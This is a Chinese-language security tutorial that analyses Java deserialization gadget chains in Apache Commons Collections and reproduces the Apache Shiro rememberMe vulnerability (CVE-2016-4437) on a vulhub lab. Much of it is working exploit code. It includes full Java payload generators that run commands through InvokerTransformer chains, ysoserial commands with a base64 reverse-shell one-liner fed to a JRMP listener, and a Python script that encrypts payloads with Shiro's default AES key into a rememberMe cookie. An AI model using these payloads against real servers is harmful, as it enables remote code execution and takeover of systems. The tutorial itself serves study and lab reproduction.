java反序列化——apache-shiro復現分析

合天智匯發表於2020-07-30
JavaApache
本文首發於“合天智匯”公眾號 作者：Fortheone
看了好久的文章才開始分析除錯java的cc鏈，這個鏈算是java反序列化漏洞裡的基礎了。分析除錯的shiro也是直接使用了cc鏈。首先先了解一些java的反射機制。
一、什麼是反射：
反射是Java的特徵之一，是一種間接操作目標物件的機制，核心是JVM在執行的時候才動態載入類，並且對於任意一個類，都能夠知道這個類的所有屬性和方法，呼叫方法/訪問屬性，不需要提前在編譯期知道執行的物件是誰，他允許執行中的Java程式獲取類的資訊，並且可以操作類或物件內部屬性。程式中物件的型別一般都是在編譯期就確定下來的，而當我們的程式在執行時，可能需要動態的載入一些類，這些類因為之前用不到，所以沒有載入到jvm，這時，使用Java反射機制可以在執行期動態的建立物件並呼叫其屬性，它是在執行時根據需要才載入。
我們可以在java載入了類進入jvm之後，獲取到這個類的例項，並且可以呼叫這個類的方法，引數之類的。
看一個例子
class User{
    private String name;
    private int age;


    @Override
    public String toString(){
        return "User{" + "name=" +name + ", age="+age+"}";
    }


    public String getName() {
        return name;
    }


    public void setName(String name) {
        this.name = name;
    }


    public int getAge() {
        return age;
    }


    public void setAge(int age) {
        this.age = age;
    }
}

現在定義了一個類User，這個類有各種的方法和引數。我們將這個類例項化之後，再動態呼叫它的方法來給它賦值。

public static void main(String[] args) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
    User user = new User();
    Class clz = user.getClass();
    Method method = clz.getMethod("setName", String.class);
    Method method1 = clz.getMethod("setAge", int.class);
    method1.invoke(user,21);
    method.invoke(user,"fortheone");
    System.out.println(user);
}
在主方法中實現這些反射呼叫方法，要丟擲以上三個錯誤，否則會無法執行。 所以一個反射的流程就是：先通過getClass獲取到類例項，再通過getMethod獲取到類方法，然後再利用invoke方法傳入引數進行呼叫。但是，在這個例子中所呼叫的方法都是public屬性，而在一些類中可能會存在protected或是provide屬性，需要用到setAccessible(true)這種方法來解除私有限定。
java序列化與反序列化
Java 序列化是指把 Java 物件轉換為位元組序列的過程便於儲存在記憶體、檔案、資料庫中，ObjectOutputStream類的 writeObject() 方法可以實現序列化。Java 反序列化是指把位元組序列恢復為 Java 物件的過程，ObjectInputStream 類的 readObject() 方法用於反序列化。 序列化與反序列化是讓 Java 物件脫離 Java 執行環境的一種手段，可以有效的實現多平臺之間的通訊、物件持久化儲存。 要注意的是，只有實現了serializeable介面的類才可以進行序列化操作。
import java.io.*;


public class test1 {


    public static void main(String[] args){
        User user = new User("fortheone", 21);
        try {
            // 建立一個FIleOutputStream
            FileOutputStream fos = new FileOutputStream("./user.ser");
            // 將這個FIleOutputStream封裝到ObjectOutputStream中
            ObjectOutputStream os = new ObjectOutputStream(fos);
            // 呼叫writeObject方法，序列化物件到檔案user.ser中
            os.writeObject(user);


            System.out.println("讀取資料：");
            //  建立一個FIleInutputStream
            FileInputStream fis = new FileInputStream("./user.ser");
            // 將FileInputStream封裝到ObjectInputStream中
            ObjectInputStream oi = new ObjectInputStream(fis);
            // 呼叫readObject從user.ser中反序列化出物件，還需要進行一下型別轉換，預設是Object型別
            User user1 = (User)oi.readObject();


            user1.info();
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}


class User implements Serializable{
    private String name;
    private int age;


    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }


    public void info(){
        System.out.println("Name: "+name+", Age: "+age);
    }


    // private void readObject(ObjectInputStream input) throws IOException, ClassNotFoundException{
    //     System.out.println("[*]執行了自定義的readObject函式");
    // }
}
這是一個序列化與反序列化的演示，其中的 FileOutputStream ObjectOutputStream 是java的流處理的轉換。首先建立一個檔案輸出流，然後再使用過濾流來處理，可以提供緩衝寫的作用。具體可以參見文章（ https://www.cnblogs.com/shitouer/archive/2012/12/19/2823641.html）
那麼在序列化與反序列化的過程中，會有一個問題，就是在反序列化的時候會自動執行類的readObject方法。如果我們在readObject中有惡意的操作，即可造成攻擊。如下圖：
java反序列化——apache-shiro復現分析
三、Apache-CommonsCollections 序列化RCE漏洞分析
環境準備：首先安裝idea，然後安裝maven外掛，使用maven直接安裝 CommonsCollections。在pom.xml中加入
<dependencies>
    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.1</version>
    </dependency>
</dependencies>
即可安裝。安裝好以後記得要把專案jdk版本與本地jdk版本對應。參考文章（ https://blog.csdn.net/qq_22076345/article/details/82392236）
出現了CommonsCollections的包就說明成功了。
漏洞分析： 在InvokeTransformer類中有這兩個方法
java反序列化——apache-shiro復現分析
構造方法中可以傳入三個引數，方法名，引數型別，引數。然後transform方法接收一個object物件。會對傳入的物件進行反射呼叫方法。但是這樣還不能執行命令，因為在java中執行命令的操作是 Runtime.getRuntime().exec(cmd)。而在這裡我們一次只能傳入一個方法。
但是很巧的是 ChainedTransformer 這個類中的 transform方法可以迴圈執行 transform方法。並且將上一次執行的結果作為下一次的引數。
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這樣說可能不是很清楚，舉個例子來看看。
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這裡要求在chainedTransformer的transform方法中傳入一個Runtime物件。但是這樣我們沒有利用到反序列化，在實際情況裡也不可能給我們這樣傳參去呼叫。
從上面的步驟可以看到，整個鏈的起點就是 Runtime ,而我們在利用這條鏈的時候也沒有辦法通過傳參去傳入這個Runtime。
但是恰巧有這麼一個類 ConstantTransformer 它的構造方法是直接放回傳入的引數，它的transform方法也是直接返回傳入的引數。那麼也就是說 把Runtime.class 傳入 ConstantTransformer 作為 transformers陣列的起點，通過第一次transform方法，就可以得到Runtime。後面再利用迴圈呼叫transform就可以通過反射命令執行。
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這樣就可以通過迴圈呼叫transform方法來執行命令。現在漏洞觸發的核心已經瞭解清楚了，接下來就是找觸發漏洞的利用鏈。也就是如何觸發chainedTransformer的transform方法呢？
接下來有兩條鏈，一條受限於jdk版本（jdk1.7可以，8不行）
LazyMap鏈
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在lazymap的get方法中執行了transform方法。所以只要將factory賦值為chainedTransformer。可以直接在構造方法裡賦值。
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所以要找到一個類可以觸發LazyMap的get方法。 而在TiedMapEntry類中有一個getValue方法可以執行get方法，且map屬性可控。
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且TiedMapEntry類中的tostring方法可以觸發getValue方法，java的tostring方法與php的__tostring方法一樣，在類例項被當作字串的時候會自動執行。
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.png) 然後又找到 BadAttributeValueExpException 的readObject方法會觸發tostring方法
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所以只要把val屬性設定為 TiedMapEntry 即可。最終payload：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;


import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.io.*;


public class test {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value","asdf");


        Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
        // 將lazyMap封裝到TiedMapEntry中
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "val");
        // 通過反射給badAttributeValueExpException的val屬性賦值
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field val = badAttributeValueExpException.getClass().getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, tiedMapEntry);
        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(badAttributeValueExpException);
        oos.flush();
        oos.close();
        // 本地模擬反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();
    }


    }
TransformedMap利用鏈
Map類是儲存鍵值對的資料結構。 Apache Commons Collections中實現了TransformedMap ，該類可以在一個元素被新增/刪除/或是被修改時(即key或value：集合中的資料儲存形式即是一個索引對應一個值，就像身份證與人的關係那樣)，會呼叫transform方法自動進行特定的修飾變換，具體的變換邏輯由Transformer類定義。也就是說，TransformedMap類中的資料發生改變時，可以自動對進行一些特殊的變換，比如在資料被修改時，把它改回來; 或者在資料改變時，進行一些我們提前設定好的操作。
其中的checkSetValue方法中，valueTransformer屬性呼叫了transform方法。所以只要將valueTransformer屬性設定為我們之前的chainedTransformer即可觸發漏洞。
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呼叫decorate方法可以例項化一個 TransformedMap 類，然後將其屬性 keyTransformer和valueTransformer設定為我們想要的值。所以現在就是要再找一個觸發checkSetValue方法的類。
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在AnnotationInvocationHandler類中的readObject 中執行了setValue方法。而 setValue() 函式最終會觸發 checkSetValue() 函式：
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而memberValues來自於構造方法，所以最終的payload為： 
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;




public class test {
    public static void main(String[] args) throws Exception {
        //1.客戶端構建攻擊程式碼
        //此處構建了一個transformers的陣列，在其中構建了任意函式執行的核心程式碼
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
        };
        //將transformers陣列存入ChaniedTransformer這個繼承類
        Transformer transformerChain = new ChainedTransformer(transformers);


        //建立Map並繫結transformerChina
        Map innerMap = new HashMap();
        innerMap.put("value", "value");
        //給予map資料轉化鏈
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        //反射機制呼叫AnnotationInvocationHandler類的建構函式
        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        //取消建構函式修飾符限制
        ctor.setAccessible(true);
        //獲取AnnotationInvocationHandler類例項
        Object instance = ctor.newInstance(Retention.class, outerMap);


        //payload序列化寫入檔案，模擬網路傳輸
        FileOutputStream f = new FileOutputStream("payload.bin");
        ObjectOutputStream fout = new ObjectOutputStream(f);
        fout.writeObject(instance);


        //2.服務端讀取檔案，反序列化，模擬網路傳輸
        FileInputStream fi = new FileInputStream("payload.bin");
        ObjectInputStream fin = new ObjectInputStream(fi);
        //服務端反序列化
        fin.readObject();
    }
    }

利用Ysoserial 生成payload

下載Ysoserial 然後執行 java -jar ysoserial-master-30099844c6-1.jar CommonsCollections1 calc.exe > payload.bin 然後把payload.bin放入專案中，對其進行反序列化
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漏洞環境搭建
https://vulhub.org/#/environments/shiro/CVE-2016-4437/
直接使用docker搭建vulhub裡的shiro靶場就可以了。
啟動後
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登入抓包
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可以在響應包中看到有 rememberMe=deleteMe的欄位，這是shiro的特徵。
漏洞驗證
1、直接使用xray給出的payload測試
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在xray的config.yaml中修改proxy為burp的監聽埠，這樣可以獲取到xray發出的流量。
java反序列化——apache-shiro復現分析
這裡可以抓到xray發出的請求包中的payload，其中的header中還帶有Testecho，用以測試回顯。可以看到響應頭中出現了Testecho字樣。所以判斷出存在漏洞。
然後再將Testecho替換為 Testcmd 即可執行命令。
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但是我這臺機器在執行ifconfig命令的時候不知道為什麼無法執行。
2、使用ysoserial反序列化發payload
首先要下載 ysoserial的jar包 https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
然後下載 ysoserial的原始碼 https://github.com/frohoff/ysoserial.git
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 7878 CommonsCollections5 "bash -c {echo,反彈shell的base64編碼}|{base64,-d}|{bash,-i}"
在7878埠監聽JRMP，等待服務端訪問。
然後使用poc.py生成payload的cookie
i 
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-master-30099844c6-1.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())
python poc.py 監聽伺服器ip:埠
生成了payload之後，向伺服器傳送payload的cookie
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成功獲取到shell。
一些要注意的點
1、在生成payload的時候，使用的key一般是shiro1.2.4預設的key，在實際環境下可能會有其他的key。xray中自帶了幾個其他的key值用於遍歷。
2、實際情況中預設shiro的commons-collections版本為3.2.1 而ysoserial裡使用3.2.1的版本時會報錯，但是可以使用JRMP。可以多嘗試幾個 commons-collections的版本。具體還要看環境中的依賴包。
參考文章
https://www.anquanke.com/post/id/211228
  • 實驗推薦
Java反序列漏洞
https://www.hetianlab.com/expc.do?ec=ECID172.19.104.182015111916202700001
本實驗通過Apache Commons Collections 3為例，分析並復現JAVA反序列化漏洞。
宣告：筆者初衷用於分享與普及網路知識，若讀者因此作出任何危害網路安全行為後果自負，與合天智匯及原作者無關！

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